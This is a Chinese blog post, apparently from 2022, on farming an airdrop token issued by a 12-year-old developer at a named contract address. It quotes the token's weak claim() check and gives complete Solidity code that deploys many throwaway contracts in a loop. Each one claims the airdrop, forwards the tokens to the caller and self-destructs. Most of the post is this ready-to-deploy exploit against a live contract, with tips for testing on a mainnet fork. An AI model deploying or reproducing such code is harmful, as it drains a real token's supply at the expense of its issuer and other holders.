如何快速领取十二岁天才的token


新年快乐!


最近也是从各个社区看到天才小黄同学.不讨论小黄同学这个发币行为,仁者见仁智者见智。

我们只需要来领取下代币。比正常用户领取节约太多gas了。


首先这是小黄同学的代币coin

0x1c7e83f8c581a967940dbfa7984744646ae46b29
 找到cliam 函数
function claim() external{
if( (uint32(block.timestamp)-release_time) <= 360 days && is_claim[msg.sender] == false ){
is_claim[msg.sender] = true;
yet_claim_people.push(msg.sender);
_mint(msg.sender,return_claim_number());
} 
}

  我们发现这里主要校验了下,领取时间需要在合约发布后的360天内,是否领取过

因此我们需要使用各种新账户来cliam 领取。


大部分人会把eth 发给小号,让小号领取token,由于uniswap交易费很高,因此又要把token归并到一个账户来。这样不仅累,还浪费很多gas费用

因此我们这里直接部署合约来领取


pragma solidity ^0.8.0;
//被领取token 所需要的3个函数,转账,查询余额,领取空投
//0x1c7e83f8c581a967940dbfa7984744646ae46b29  12岁小孩的token地址
interface airdrop {
    function transfer(address recipient, uint256 amount) external;
    function balanceOf(address account) external view returns (uint256);
    function claim() external;
}
contract ClaimToken {
    address constant rnd = address(0x1c7E83f8C581a967940DBfa7984744646AE46b29);
   //for循环创建新合约claimer,也就是领取多少次
    function call(uint256 times) public {
        for(uint i=0;i<times;i++){
            new claimer(rnd);
        }
    }
//查询代币余额
    function balance(address account) external view returns (uint256){
        return airdrop(rnd).balanceOf(account);
          }
}
contract claimer{
    constructor(address rnd){
        //调用领取token函数
        airdrop(rnd).claim();
        //获取 新合约余额
        uint256 balance = airdrop(rnd).balanceOf(address(this));
        require(balance>0,'faled');
        //从新合约里把token 转移到调用发起人
        airdrop(rnd).transfer(address(tx.origin), balance);
        //自毁合约,使合约变为无效,有效地删除该地址地字节码。把合约的所有资金发送到目标地址
        selfdestruct(payable(address(msg.sender)));
    }
}

部署的时候只需要部署ClaimToken这个合约,并调用call 函数 参数是领取的次数。

大家可以使用ganache来fork主网,来用真实环境模拟调用。这是领取200次所用gas费用

 

 

 

posted @ 2022-02-08 21:58  soth912  阅读(400)  评论(0编辑  收藏  举报